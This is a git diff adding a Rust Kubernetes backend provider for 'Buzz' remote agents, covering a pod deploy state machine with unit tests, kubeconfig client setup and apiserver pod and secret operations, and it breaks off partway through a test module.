+license.workspace = true
+description = "Kubernetes backend provider for Buzz remote agents (docs/remote-agents.md)"
+
+[[bin]]
+name = "buzz-backend-kubernetes"
+path = "src/main.rs"
+
+[dependencies]
+kube = { workspace = true }
+k8s-openapi = { workspace = true }
+nostr = { workspace = true }
+tokio = { workspace = true }
+serde = { workspace = true }
+serde_json = { workspace = true }
+sha2 = { workspace = true }
+hex = { workspace = true }
+rand = { workspace = true }
+chrono = { workspace = true }
+http = "1"
+http-body-util = "0.1"
+
+# Explicit rustls dep with the ring provider — required to install the
+# process-level CryptoProvider at startup. Without it this binary panics on its
+# first TLS connection to the apiserver: the release build compiles every
+# sidecar in one cargo invocation (.github/workflows/release.yml), which unifies
+# both ring and aws-lc-rs features and leaves rustls unable to auto-select a
+# provider. Same dependency and reason as crates/buzz-cli/Cargo.toml.
+rustls = { version = "0.23", default-features = false, features = ["ring", "std"] }
+
+[dev-dependencies]
+tower = { workspace = true }
diff --git a/crates/buzz-backend-kubernetes/src/classify.rs b/crates/buzz-backend-kubernetes/src/classify.rs
new file mode 100644
index 0000000000..e9cfaba402
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/src/classify.rs
@@ -0,0 +1,377 @@
+//! The deploy state machine (spec §Deploy State Machine), as a pure function.
+//!
+//! `classify` maps a verified observation plus the desired create intent to
+//! one [`Action`]. It performs no I/O, so every row of the spec's table is a
+//! unit test with no cluster. `reconcile` executes actions and re-enters.
+//!
+//! Two invariants are structural rather than remembered:
+//!
+//! * [`Action::Delete`] carries the [`Fence`] from the exact observation that
+//!   authorized it. There is no way to build a delete without one, so a later
+//!   helper cannot re-read and silently substitute a fresher fence.
+//! * The pull-failure classifier ([`PullFailure`]) reaches only
+//!   [`Action::Report`] and [`Action::Observe`]. It is absent from
+//!   `Action::Delete`'s type, so "reason strings are never deletion
+//!   authority" is enforced by the compiler.
+
+use crate::intent::Fingerprint;
+
+/// The compare-and-delete fence: UID + resourceVersion from the observation
+/// that authorized the deletion. A failed precondition means the object
+/// changed since the read — re-enter, never retry the delete.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct Fence {
+    pub uid: String,
+    pub resource_version: String,
+}
+
+/// Why a pod that never started looks permanently broken. Reporting only.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum PullFailure {
+    /// Registry auth: a 403/401 `ImagePullBackOff` retries forever without
+    /// ever succeeding, so "the pull retries" is false for this case.
+    Unauthorized,
+    /// The digest or repository does not exist at that registry.
+    ManifestUnknown,
+    /// The image has no variant for the node's architecture.
+    ArchMismatch,
+}
+
+/// The container's startup state, already decoded from pod status. Decoding
+/// happens at the edge so this module stays free of API types.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub enum Startup {
+    /// `state.running` — the harness process is up. This, not pod phase, is
+    /// what "live" means.
+    Started,
+    /// Started once and reached a terminal phase (Succeeded/Failed).
+    Terminated,
+    /// Never started, and self-healing is plausible: unschedulable during
+    /// scale-from-zero, an image pull in progress, a transient
+    /// `CreateContainerConfigError` whose Secret exists.
+    NeverStartedRecoverable,
+    /// Never started, and the provider *verified* the cause — not a reason
+    /// string. Either the referenced Secret is confirmed absent by a
+    /// most-recent read, or the image reference is structurally invalid.
+    NeverStartedProvablyBroken,
+    /// Never started; the pull is failing in a way that will not self-heal.
+    /// Still recoverable in the *never delete* sense — this only changes what
+    /// we report and how long we wait.
+    NeverStartedPullFailing(PullFailure),
+}
+
+/// A pod that passed identity and ownership verification: label-selected,
+/// full-pubkey annotation equal to the derived pubkey, management marker
+/// present. Constructing this type is the verification step's output, so an
+/// unverified object cannot reach `classify` at all.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct VerifiedPod {
+    pub name: String,
+    pub fence: Fence,
+    /// Set once the apiserver accepts a delete. In Kubernetes there is no
+    /// `Terminating` phase — a pod being gracefully deleted stays in phase
+    /// `Running` for its whole grace period — so this must be checked
+    /// *before* startup state or the dying pod reads as the no-op row.
+    pub deletion_marked: bool,
+    pub startup: Startup,
+    /// The `buzz.block.xyz/create-intent` annotation as recorded at create.
+    /// `None` for a pod written before the annotation existed, which counts
+    /// as divergence.
+    pub recorded_intent: Option<Fingerprint>,
+}
+
+/// What the reconciler should do next.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub enum Action {
+    /// Create the pod, then wait for the harness container to start.
+    Create,
+    /// Compare-and-delete, poll for actual disappearance, then re-enter.
+    Delete { name: String, fence: Fence },
+    /// Wait for a deletion already in flight, then re-enter.
+    AwaitDisappearance { name: String },
+    /// Strict no-op: return this `agent_id`, mutate nothing.
+    NoOp { agent_id: String },
+    /// Keep observing until started or the operation deadline expires; on
+    /// expiry report the latest condition. Never deletes, on this call or any
+    /// later one.
+    Observe { name: String },
+    /// Surface an actionable condition immediately rather than burning the
+    /// deadline on a failure that will not self-heal.
+    Report { name: String, failure: PullFailure },
+}
+
+/// Apply the spec's ordered rules to one verified observation.
+///
+/// `desired` is the freshly computed create intent; comparison is always
+/// recorded-annotation vs freshly-computed, never a diff against the live pod
+/// (admission defaulting would make every pod look divergent).
+pub fn classify(observed: Option<&VerifiedPod>, desired: &Fingerprint) -> Action {
+    let Some(pod) = observed else {
+        // Row: no instance → create. First deploy, or after GC.
+        return Action::Create;
+    };
+
+    // Row: deletion-marked, ANY phase. Checked before startup state because
+    // there is no `Terminating` phase to match on — a gracefully deleting pod
+    // reports phase `Running` throughout its grace period, so testing startup
+    // first would mistake it for the live no-op row and return an id that
+    // evaporates.
+    if pod.deletion_marked {
+        return Action::AwaitDisappearance {
+            name: pod.name.clone(),
+        };
+    }
+
+    match &pod.startup {
+        // Row: live and started → strict no-op. Start must never kill a live
+        // agent mid-turn, whatever the fingerprint says.
+        Startup::Started => Action::NoOp {
+            agent_id: pod.name.clone(),
+        },
+
+        // Row: terminated → delete residue, then re-enter to create. This is
+        // the normal restart path — how a user revives a reaped agent.
+        Startup::Terminated => Action::Delete {
+            name: pod.name.clone(),
+            fence: pod.fence.clone(),
+        },
+
+        // Row: never started, provably non-recoverable → fenced replace.
+        // "Provably" means a verified absence or a structural defect, never a
+        // reason string.
+        Startup::NeverStartedProvablyBroken => Action::Delete {
+            name: pod.name.clone(),
+            fence: pod.fence.clone(),
+        },
+
+        // Inside the recoverable row: a pull that will not self-heal is
+        // reported immediately instead of consuming the 600s deadline. This
+        // changes reporting and wait behavior only — no delete authority.
+        Startup::NeverStartedPullFailing(failure) => Action::Report {
+            name: pod.name.clone(),
+            failure: *failure,
+        },
+
+        // Row: never started, recoverable — split on create-intent
+        // divergence. Divergence is evidence of a config change the user is
+        // waiting on, and it is the *only* thing that replaces a
+        // never-started pod. Pod age triggers nothing: any finite age
+        // threshold collides with Cluster Autoscaler's own pod-age delays,
+        // and delete-recreate resets exactly the age it keys on.
+        Startup::NeverStartedRecoverable => {
+            if pod.recorded_intent.as_ref() == Some(desired) {
+                Action::Observe {
+                    name: pod.name.clone(),
+                }
+            } else {
+                Action::Delete {
+                    name: pod.name.clone(),
+                    fence: pod.fence.clone(),
+                }
+            }
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn fp(seed: &str) -> Fingerprint {
+        Fingerprint::for_test(seed)
+    }
+
+    fn pod(startup: Startup, intent: Option<Fingerprint>) -> VerifiedPod {
+        VerifiedPod {
+            name: "buzz-agent-abc123def456".into(),
+            fence: Fence {
+                uid: "uid-1".into(),
+                resource_version: "rv-1".into(),
+            },
+            deletion_marked: false,
+            startup,
+            recorded_intent: intent,
+        }
+    }
+
+    #[test]
+    fn no_instance_creates() {
+        assert_eq!(classify(None, &fp("a")), Action::Create);
+    }
+
+    #[test]
+    fn started_pod_is_strict_no_op() {
+        let p = pod(Startup::Started, Some(fp("a")));
+        assert_eq!(
+            classify(Some(&p), &fp("a")),
+            Action::NoOp {
+                agent_id: p.name.clone()
+            }
+        );
+    }
+
+    /// The asymmetry the spec states plainly: an edit cannot reach a started
+    /// pod until it exits, but it *can* reach a never-started one — the
+    /// never-started pod is the one the user is editing because it did not
+    /// start.
+    #[test]
+    fn started_pod_no_ops_even_when_intent_diverges() {
+        let p = pod(Startup::Started, Some(fp("old")));
+        assert_eq!(
+            classify(Some(&p), &fp("new")),
+            Action::NoOp {
+                agent_id: p.name.clone()
+            }
+        );
+    }
+
+    /// In Kubernetes a gracefully deleting pod stays in phase `Running`. If
+    /// the deletion mark were checked after startup state, this pod would
+    /// take the no-op row and `deploy` would return an id that evaporates.
+    #[test]
+    fn deletion_mark_beats_every_startup_state() {
+        for startup in [
+            Startup::Started,
+            Startup::Terminated,
+            Startup::NeverStartedRecoverable,
+            Startup::NeverStartedProvablyBroken,
+            Startup::NeverStartedPullFailing(PullFailure::Unauthorized),
+        ] {
+            let mut p = pod(startup.clone(), Some(fp("a")));
+            p.deletion_marked = true;
+            assert_eq!(
+                classify(Some(&p), &fp("a")),
+                Action::AwaitDisappearance {
+                    name: p.name.clone()
+                },
+                "deletion mark ignored for {startup:?}"
+            );
+        }
+    }
+
+    #[test]
+    fn terminated_pod_is_replaced() {
+        let p = pod(Startup::Terminated, Some(fp("a")));
+        assert_eq!(
+            classify(Some(&p), &fp("a")),
+            Action::Delete {
+                name: p.name.clone(),
+                fence: p.fence.clone()
+            }
+        );
+    }
+
+    /// A never-started winner is repairable: pod exists, Secret confirmed
+    /// absent, container never started. A later deploy must delete-recreate
+    /// rather than no-op — the test that pins started-not-phase as the no-op
+    /// criterion.
+    #[test]
+    fn provably_broken_never_started_pod_is_replaced() {
+        let p = pod(Startup::NeverStartedProvablyBroken, Some(fp("a")));
+        assert_eq!(
+            classify(Some(&p), &fp("a")),
+            Action::Delete {
+                name: p.name.clone(),
+                fence: p.fence.clone()
+            }
+        );
+    }
+
+    /// The anti-livelock rule: identical desired intent means *never* delete,
+    /// however long the pod has been pending. Age is not an input to this
+    /// function at all, which is the strongest way to say so.
+    #[test]
+    fn recoverable_with_matching_intent_only_observes() {
+        let p = pod(Startup::NeverStartedRecoverable, Some(fp("same")));
+        assert_eq!(
+            classify(Some(&p), &fp("same")),
+            Action::Observe {
+                name: p.name.clone()
+            }
+        );
+    }
+
+    /// Repeated identical Starts can never delete anything — the same
+    /// classification, arbitrarily many times.
+    #[test]
+    fn repeated_identical_starts_never_delete() {
+        let p = pod(Startup::NeverStartedRecoverable, Some(fp("same")));
+        for _ in 0..100 {
+            assert!(!matches!(
+                classify(Some(&p), &fp("same")),
+                Action::Delete { .. }
+            ));
+        }
+    }
+
+    /// The wedge escape: the user corrected a resource request or image, so
+    /// the never-started pod is built from configuration they have since
+    /// changed. Without this row the edit could never materialize.
+    #[test]
+    fn recoverable_with_divergent_intent_is_replaced() {
+        let p = pod(Startup::NeverStartedRecoverable, Some(fp("old")));
+        assert_eq!(
+            classify(Some(&p), &fp("new")),
+            Action::Delete {
+                name: p.name.clone(),
+                fence: p.fence.clone()
+            }
+        );
+    }
+
+    /// A pod predating the annotation has no recorded intent — that is
+    /// absence, which the spec groups with divergence.
+    #[test]
+    fn missing_recorded_intent_counts_as_divergence() {
+        let p = pod(Startup::NeverStartedRecoverable, None);
+        assert_eq!(
+            classify(Some(&p), &fp("any")),
+            Action::Delete {
+                name: p.name.clone(),
+                fence: p.fence.clone()
+            }
+        );
+    }
+
+    /// Permanent-looking pull failures report immediately instead of burning
+    /// 600s — and, critically, never delete.
+    #[test]
+    fn pull_failures_report_and_never_delete() {
+        for failure in [
+            PullFailure::Unauthorized,
+            PullFailure::ManifestUnknown,
+            PullFailure::ArchMismatch,
+        ] {
+            let p = pod(Startup::NeverStartedPullFailing(failure), Some(fp("a")));
+            // Divergent intent too — still no delete from this arm.
+            for desired in [fp("a"), fp("different")] {
+                assert_eq!(
+                    classify(Some(&p), &desired),
+                    Action::Report {
+                        name: p.name.clone(),
+                        failure
+                    }
+                );
+            }
+        }
+    }
+
+    /// Every delete carries the fence from the observation that authorized
+    /// it. Exhaustive over the delete-producing states, so a future arm that
+    /// forgets is caught here rather than in a cluster.
+    #[test]
+    fn every_delete_carries_the_authorizing_fence() {
+        let states = [
+            (Startup::Terminated, fp("a")),
+            (Startup::NeverStartedProvablyBroken, fp("a")),
+            (Startup::NeverStartedRecoverable, fp("divergent")),
+        ];
+        for (startup, desired) in states {
+            let p = pod(startup, Some(fp("a")));
+            match classify(Some(&p), &desired) {
+                Action::Delete { fence, .. } => assert_eq!(fence, p.fence),
+                other => panic!("expected Delete, got {other:?}"),
+            }
+        }
+    }
+}
diff --git a/crates/buzz-backend-kubernetes/src/client.rs b/crates/buzz-backend-kubernetes/src/client.rs
new file mode 100644
index 0000000000..0c3bed65b7
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/src/client.rs
@@ -0,0 +1,182 @@
+//! Cluster auth and client construction (spec §Cluster auth,
+//! `docs/remote-agents.md:985-995`).
+//!
+//! Standard kubeconfig resolution (`$KUBECONFIG` → `~/.kube/config`).
+//! `provider_config` carries `context` and `namespace` only — credentials
+//! never transit config (I2, `:196-198`).
+
+use kube::config::{ExecConfig, KubeConfigOptions, Kubeconfig};
+use kube::{Client, Config};
+use std::path::{Path, PathBuf};
+
+/// Directories prepended to `PATH` before the client is built.
+///
+/// Kubeconfigs at Block near-universally authenticate through `exec`
+/// credential plugins (`aws eks get-token`, `gke-gcloud-auth-plugin`) that
+/// resolve via `PATH` — and this provider inherits a Finder-launched
+/// desktop's minimal `PATH`, which contains none of the places those plugins
+/// install to (`:989-994`).
+const PATH_PREPEND: [&str; 2] = ["/opt/homebrew/bin", "/usr/local/bin"];
+
+/// Compute the new `PATH` value: plugin directories first, inherited entries
+/// after, in order. Pure so the ordering can be tested without mutating the
+/// process's environment.
+fn prepended_path(home: Option<&Path>, existing: &std::ffi::OsStr) -> Option<std::ffi::OsString> {
+    let mut dirs: Vec<PathBuf> = PATH_PREPEND.iter().map(PathBuf::from).collect();
+    if let Some(home) = home {
+        dirs.push(home.join(".local/bin"));
+    }
+    // An empty inherited PATH splits into one empty entry, which POSIX
+    // resolves as the current directory — a place a credential plugin should
+    // never be looked up. Drop empties rather than propagate them.
+    dirs.extend(std::env::split_paths(existing).filter(|p| !p.as_os_str().is_empty()));
+    std::env::join_paths(dirs).ok()
+}
+
+/// Prepend the plugin directories to this process's `PATH`.
+///
+/// Modifies the provider's own environment, which is sound here: one process
+/// per operation, called before any client or task exists, and the child
+/// processes that read it are exactly the credential plugins this exists for.
+fn prepend_plugin_path() {
+    let home = std::env::var_os("HOME");
+    let existing = std::env::var_os("PATH").unwrap_or_default();
+    if let Some(joined) = prepended_path(home.as_ref().map(Path::new), &existing) {
+        std::env::set_var("PATH", joined);
+    }
+}
+
+/// Is `command` runnable — an executable on `PATH`, or an existing path?
+fn resolves_on_path(command: &str) -> bool {
+    if command.contains(std::path::MAIN_SEPARATOR) {
+        return Path::new(command).is_file();
+    }
+    std::env::var_os("PATH")
+        .map(|path| std::env::split_paths(&path).any(|dir| dir.join(command).is_file()))
+        .unwrap_or(false)
+}
+
+/// The exec plugin the selected context authenticates with, if any.
+///
+/// Read from the kubeconfig directly rather than from `Config`, which does not
+/// expose it. A read failure yields `None`: this lookup exists only to improve
+/// an error message, and must never be the thing that fails a deploy.
+fn exec_plugin_for(context: Option<&str>) -> Option<ExecConfig> {
+    let kubeconfig = Kubeconfig::read().ok()?;
+    let context_name = context
+        .map(str::to_string)
+        .or_else(|| kubeconfig.current_context.clone())?;
+    let user_name = kubeconfig
+        .contexts
+        .iter()
+        .find(|c| c.name == context_name)
+        .and_then(|c| c.context.as_ref())
+        .and_then(|c| c.user.clone())?;
+    kubeconfig
+        .auth_infos
+        .iter()
+        .find(|a| a.name == user_name)
+        .and_then(|a| a.auth_info.as_ref())
+        .and_then(|a| a.exec.clone())
+}
+
+/// Turn a client-construction failure into an error a user can act on.
+///
+/// When the context authenticates through an exec plugin that is not on
+/// `PATH`, that is almost always the cause, and the actionable fact is the
+/// plugin's name — not a kube-rs error chain (`:994-995`).
+fn explain(context: Option<&str>, error: &kube::Error) -> String {
+    if let Some(command) = exec_plugin_for(context).and_then(|e| e.command) {
+        if !resolves_on_path(&command) {
+            return format!(
+                "kubeconfig context {} authenticates with the credential plugin \
+                 {command:?}, which is not on PATH. Install it or add its \
+                 directory to PATH, then try again.",
+                context.unwrap_or("(current)")
+            );
+        }
+    }
+    format!(
+        "could not connect to the cluster using kubeconfig context {}: {error}",
+        context.unwrap_or("(current)")
+    )
+}
+
+/// Build a client for the selected context.
+pub async fn connect(context: Option<&str>) -> Result<Client, String> {
+    prepend_plugin_path();
+
+    let options = KubeConfigOptions {
+        context: context.map(str::to_string),
+        ..Default::default()
+    };
+    let config = Config::from_kubeconfig(&options).await.map_err(|e| {
+        // A named context that does not exist is a user typo, and the
+        // kube-rs message for it is already specific.
+        format!(
+            "could not load kubeconfig for context {}: {e}",
+            context.unwrap_or("(current)")
+        )
+    })?;
+
+    Client::try_from(config).map_err(|e| explain(context, &e))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    /// The three plugin directories must end up ahead of the inherited PATH,
+    /// or a Finder-launched desktop never finds `aws`/`gke-gcloud-auth-plugin`.
+    /// Tested on the pure computation: mutating the process PATH here would
+    /// race every other test in the binary.
+    #[test]
+    fn plugin_directories_are_prepended_in_order() {
+        let joined = prepended_path(
+            Some(Path::new("/tmp/fake-home")),
+            std::ffi::OsStr::new("/inherited/bin:/usr/bin"),
+        )
+        .unwrap();
+        let dirs: Vec<PathBuf> = std::env::split_paths(&joined).collect();
+        assert_eq!(
+            dirs,
+            [
+                "/opt/homebrew/bin",
+                "/usr/local/bin",
+                "/tmp/fake-home/.local/bin",
+                "/inherited/bin",
+                "/usr/bin",
+            ]
+            .map(PathBuf::from)
+        );
+    }
+
+    /// No `HOME` is not a failure — the two absolute directories still apply.
+    #[test]
+    fn missing_home_still_prepends_the_absolute_directories() {
+        let joined = prepended_path(None, std::ffi::OsStr::new("/inherited/bin")).unwrap();
+        let dirs: Vec<PathBuf> = std::env::split_paths(&joined).collect();
+        assert_eq!(
+            dirs,
+            ["/opt/homebrew/bin", "/usr/local/bin", "/inherited/bin"].map(PathBuf::from)
+        );
+    }
+
+    /// An empty inherited PATH must not produce an empty entry, which the
+    /// shell and `resolves_on_path` would both read as the cwd.
+    #[test]
+    fn empty_inherited_path_yields_no_empty_entry() {
+        let joined = prepended_path(None, std::ffi::OsStr::new("")).unwrap();
+        let dirs: Vec<PathBuf> = std::env::split_paths(&joined).collect();
+        assert_eq!(
+            dirs,
+            ["/opt/homebrew/bin", "/usr/local/bin"].map(PathBuf::from)
+        );
+    }
+
+    #[test]
+    fn resolves_absolute_paths_directly() {
+        assert!(resolves_on_path("/bin/sh"));
+        assert!(!resolves_on_path("/nonexistent/plugin-binary"));
+    }
+}
diff --git a/crates/buzz-backend-kubernetes/src/cluster.rs b/crates/buzz-backend-kubernetes/src/cluster.rs
new file mode 100644
index 0000000000..755f41f6c8
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/src/cluster.rs
@@ -0,0 +1,427 @@
+//! The real [`Substrate`]: kube-rs against a live apiserver.
+//!
+//! Everything that *decides* lives in `classify`/`gc`; this module only
+//! performs I/O and maps apiserver responses onto the trait's vocabulary.
+//! Three mappings here are normative rather than incidental:
+//!
+//! * **409 is discriminated on `Status.reason`, never on the code.** A create
+//!   409 is `AlreadyExists`; a delete 409 from a failed precondition is
+//!   `Conflict`. Branching on `code == 409` conflates a lost create race with
+//!   a stale fence and is the trap the spec names (`:780-794`).
+//! * **Reads leave `resourceVersion` unset**, which is the quorum read. `"0"`
+//!   is the cache read, and a confirmed absence from a cache is proof of
+//!   nothing (`:761-769`).
+//! * **Deletes never set `grace_period_seconds`**, so the object's own 60s
+//!   budget applies. Passing `0` is a force-kill that discards the shutdown
+//!   window the pod declares (`:1185-1189`).
+
+use crate::classify::Fence;
+use crate::reconcile::{CreateOutcome, DeleteOutcome, Substrate};
+use chrono::{DateTime, Utc};
+use k8s_openapi::api::core::v1::{Namespace, Pod, Secret};
+use kube::api::{Api, DeleteParams, GetParams, ListParams, PostParams, Preconditions};
+use kube::core::ErrorResponse;
+use kube::{Client, Resource};
+use std::time::{Duration, Instant};
+
+/// `Status.reason` values we branch on. Spelled once so the two 409 arms are
+/// visibly the same discriminator read two ways.
+///
+/// These are wire strings `apimachinery` chooses, not names this crate picks:
+/// `StatusReasonAlreadyExists`, `StatusReasonConflict`, `StatusReasonNotFound`,
+/// and `StatusReasonForbidden` in `k8s.io/apimachinery/pkg/apis/meta/v1/types.go`.
+/// kube-core types `ErrorResponse::reason` as a bare `String`, so there is no
+/// upstream constant to bind to and the spelling is pinned by test instead.
+const REASON_ALREADY_EXISTS: &str = "AlreadyExists";
+const REASON_CONFLICT: &str = "Conflict";
+const REASON_NOT_FOUND: &str = "NotFound";
+const REASON_FORBIDDEN: &str = "Forbidden";
+
+/// The apiserver-backed substrate for one deploy operation.
+pub struct Cluster {
+    client: Client,
+    namespace: String,
+    /// Start of *this operation*, for the deadline. Monotonic: the 600s budget
+    /// must not move when the wall clock does.
+    started: Instant,
+}
+
+/// The typed API error underneath a `kube::Error`, if it is one.
+fn api_error(error: &kube::Error) -> Option<&ErrorResponse> {
+    match error {
+        kube::Error::Api(response) => Some(response),
+        _ => None,
+    }
+}
+
+/// Does this error carry the given `Status.reason`?
+fn reason_is(error: &kube::Error, reason: &str) -> bool {
+    api_error(error).is_some_and(|e| e.reason == reason)
+}
+
+impl Cluster {
+    pub fn new(client: Client, namespace: &str) -> Self {
+        Self {
+            client,
+            namespace: namespace.to_string(),
+            started: Instant::now(),
+        }
+    }
+
+    fn pods(&self) -> Api<Pod> {
+        Api::namespaced(self.client.clone(), &self.namespace)
+    }
+
+    fn secrets(&self) -> Api<Secret> {
+        Api::namespaced(self.client.clone(), &self.namespace)
+    }
+
+    /// List an object kind through the raw client so the response's HTTP
+    /// `Date` header is reachable.
+    ///
+    /// `Api::list` returns only the decoded body, and the apiserver's clock is
+    /// the *only* clock the orphan-Secret age gate may use — a desktop's local
+    /// clock running fast computes every in-flight Secret as expired
+    /// (`:1321-1335`). So the list goes through `Client::send`, which hands
+    /// back the whole `http::Response`.
+    async fn list_with_date<K>(
+        &self,
+        selector: &str,
+    ) -> Result<(Vec<K>, Option<DateTime<Utc>>), String>
+    where
+        K: Resource<Scope = k8s_openapi::NamespaceResourceScope>
+            + Clone
+            + serde::de::DeserializeOwned
+            + std::fmt::Debug,
+        K::DynamicType: Default,
+    {
+        let dt = K::DynamicType::default();
+        let url = K::url_path(&dt, Some(&self.namespace));
+        // resourceVersion deliberately unset: quorum read.
+        let params = ListParams {
+            label_selector: Some(selector.to_string()),
+            ..Default::default()
+        };
+        let request = kube::core::Request::new(url)
+            .list(&params)
+            .map_err(|e| format!("could not build a list request: {e}"))?;
+        let (parts, body) = request.into_parts();
+        let response = self
+            .client
+            .send(http::Request::from_parts(parts, body.into()))
+            .await
+            .map_err(|e| format!("could not list {}: {e}", K::plural(&dt)))?;
+
+        // Parsed before the body is consumed, and independently of it: a
+        // missing or malformed header is not a list failure, it just means the
+        // orphan sweep has no clock and skips.
+        let server_now = response
+            .headers()
+            .get(http::header::DATE)
+            .and_then(|v| v.to_str().ok())
+            .and_then(|v| DateTime::parse_from_rfc2822(v).ok())
+            .map(|v| v.with_timezone(&Utc));
+
+        let bytes = http_body_util::BodyExt::collect(response.into_body())
+            .await
+            .map_err(|e| format!("could not read the {} list body: {e}", K::plural(&dt)))?
+            .to_bytes();
+        let list: kube::core::ObjectList<K> = serde_json::from_slice(&bytes)
+            .map_err(|e| format!("could not decode the {} list: {e}", K::plural(&dt)))?;
+
+        Ok((list.items, server_now))
+    }
+}
+
+impl Substrate for Cluster {
+    async fn ensure_namespace(&self, namespace: &str) -> Result<(), String> {
+        let api: Api<Namespace> = Api::all(self.client.clone());
+        if api
+            .get_opt(namespace)
+            .await
+            .map_err(|e| format!("could not check whether namespace {namespace} exists: {e}"))?
+            .is_some()
+        {
+            return Ok(());
+        }
+
+        let spec = Namespace {
+            metadata: kube::core::ObjectMeta {
+                name: Some(namespace.to_string()),
+                ..Default::default()
+            },
+            ..Default::default()
+        };
+        match api.create(&PostParams::default(), &spec).await {
+            Ok(_) => Ok(()),
+            // Someone else created it between our check and our create. That
+            // is the desired end state, not a failure.
+            Err(e) if reason_is(&e, REASON_ALREADY_EXISTS) => Ok(()),
+            // Namespace-create is frequently denied on shared clusters. Name
+            // the exact command an operator runs, and never silently fall back
+            // to `default` — deploying an agent into someone else's namespace
+            // is worse than refusing (`:1002-1005`).
+            Err(e) if reason_is(&e, REASON_FORBIDDEN) => Err(format!(
+                "not authorized to create namespace {namespace}. Ask a cluster \
+                 administrator to run `kubectl create namespace {namespace}`, \
+                 then try again."
+            )),
+            Err(e) => Err(format!("could not create namespace {namespace}: {e}")),
+        }
+    }
+
+    async fn list_pods(&self, selector: &str) -> Result<(Vec<Pod>, Option<DateTime<Utc>>), String> {
+        self.list_with_date::<Pod>(selector).await
+    }
+
+    async fn list_secrets(&self, selector: &str) -> Result<Vec<Secret>, String> {
+        Ok(self.list_with_date::<Secret>(selector).await?.0)
+    }
+
+    async fn secret_exists(&self, name: &str) -> Result<bool, String> {
+        // `GetParams::default()` leaves resourceVersion unset — the quorum
+        // read this check requires to be proof of anything.
+        match self.secrets().get_with(name, &GetParams::default()).await {
+            Ok(_) => Ok(true),
+            Err(e) if reason_is(&e, REASON_NOT_FOUND) => Ok(false),
+            Err(e) => Err(format!("could not check whether secret {name} exists: {e}")),
+        }
+    }
+
+    async fn create_secret(&self, secret: &Secret) -> Result<(), String> {
+        let name = secret.metadata.name.clone().unwrap_or_default();
+        self.secrets()
+            .create(&PostParams::default(), secret)
+            .await
+            .map(|_| ())
+            .map_err(|e| format!("could not create secret {name}: {e}"))
+    }
+
+    async fn create_pod(&self, pod: &Pod) -> Result<CreateOutcome, String> {
+        let name = pod.metadata.name.clone().unwrap_or_default();
+        match self.pods().create(&PostParams::default(), pod).await {
+            Ok(_) => Ok(CreateOutcome::Created),
+            // The deterministic name is taken: a concurrent attempt won the
+            // election. Discriminated on the reason — a 409 whose reason is
+            // `Conflict` is a different condition and must not be read as a
+            // lost race.
+            Err(e) if reason_is(&e, REASON_ALREADY_EXISTS) => Ok(CreateOutcome::AlreadyExists),
+            Err(e) => Err(format!("could not create pod {name}: {e}")),
+        }
+    }
+
+    async fn delete_pod(&self, name: &str, fence: &Fence) -> Result<DeleteOutcome, String> {
+        let params = DeleteParams {
+            preconditions: Some(Preconditions {
+                uid: Some(fence.uid.clone()),
+                resource_version: Some(fence.resource_version.clone()),
+            }),
+            // grace_period_seconds deliberately unset: the pod's own 60s
+            // budget applies.
+            ..Default::default()
+        };
+        match self.pods().delete(name, &params).await {
+            Ok(_) => Ok(DeleteOutcome::Accepted),
+            Err(e) if reason_is(&e, REASON_NOT_FOUND) => Ok(DeleteOutcome::NotFound),
+            // The object changed since the observation that authorized this
+            // delete. Same HTTP code as the create race above, different
+            // reason, different meaning.
+            Err(e) if reason_is(&e, REASON_CONFLICT) => Ok(DeleteOutcome::PreconditionFailed),
+            Err(e) => Err(format!("could not delete pod {name}: {e}")),
+        }
+    }
+
+    async fn delete_secret(&self, name: &str) -> Result<(), String> {
+        match self.secrets().delete(name, &DeleteParams::default()).await {
+            Ok(_) => Ok(()),
+            // Already gone is the desired end state.
+            Err(e) if reason_is(&e, REASON_NOT_FOUND) => Ok(()),
+            Err(e) => Err(format!("could not delete secret {name}: {e}")),
+        }
+    }
+
+    async fn get_pod(&self, name: &str) -> Result<Option<Pod>, String> {
+        match self.pods().get_with(name, &GetParams::default()).await {
+            Ok(pod) => Ok(Some(pod)),
+            Err(e) if reason_is(&e, REASON_NOT_FOUND) => Ok(None),
+            Err(e) => Err(format!("could not read pod {name}: {e}")),
+        }
+    }
+
+    async fn sleep(&self, duration: Duration) {
+        tokio::time::sleep(duration).await;
+    }
+
+    fn elapsed(&self) -> Duration {
+        self.started.elapsed()
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use http::Response;
+    use kube::client::Body;
+    use std::sync::{Arc, Mutex};
+    use tower::service_fn;
+
+    fn list_response(date: Option<&str>) -> Response<Body> {
+        let mut response = Response::builder().status(200);
+        if let Some(date) = date {
+            response = response.header(http::header::DATE, date);
+        }
+        response
+            .body(Body::from(
+                serde_json::to_vec(&serde_json::json!({
+                    "apiVersion": "v1",
+                    "kind": "PodList",
+                    "metadata": {"resourceVersion": "17"},
+                    "items": [{
+                        "apiVersion": "v1",
+                        "kind": "Pod",
+                        "metadata": {"name": "sprig"},
+                        "spec": {"containers": [{"name": "agent", "image": "example.invalid/sprig@sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}]}
+                    }]
+                }))
+                .unwrap(),
+            ))
+            .unwrap()
+    }
+
+    async fn list_through_real_request_path(
+        date: Option<&'static str>,
+    ) -> (Vec<Pod>, Option<DateTime<Utc>>, String) {
+        let observed_uri = Arc::new(Mutex::new(None));
+        let service_uri = Arc::clone(&observed_uri);
+        let service = service_fn(move |request: http::Request<Body>| {
+            let service_uri = Arc::clone(&service_uri);
+            async move {
+                *service_uri.lock().unwrap() = Some(request.uri().to_string());
+                Ok::<_, std::convert::Infallible>(list_response(date))
+            }
+        });
+        let cluster = Cluster::new(Client::new(service, "ignored"), "owned-ns");
+        let result = cluster
+            .list_with_date::<Pod>("app.kubernetes.io/managed-by=buzz-backend-kubernetes")
+            .await
+            .unwrap();
+        let uri = observed_uri.lock().unwrap().take().unwrap();
+        (result.0, result.1, uri)
+    }
+
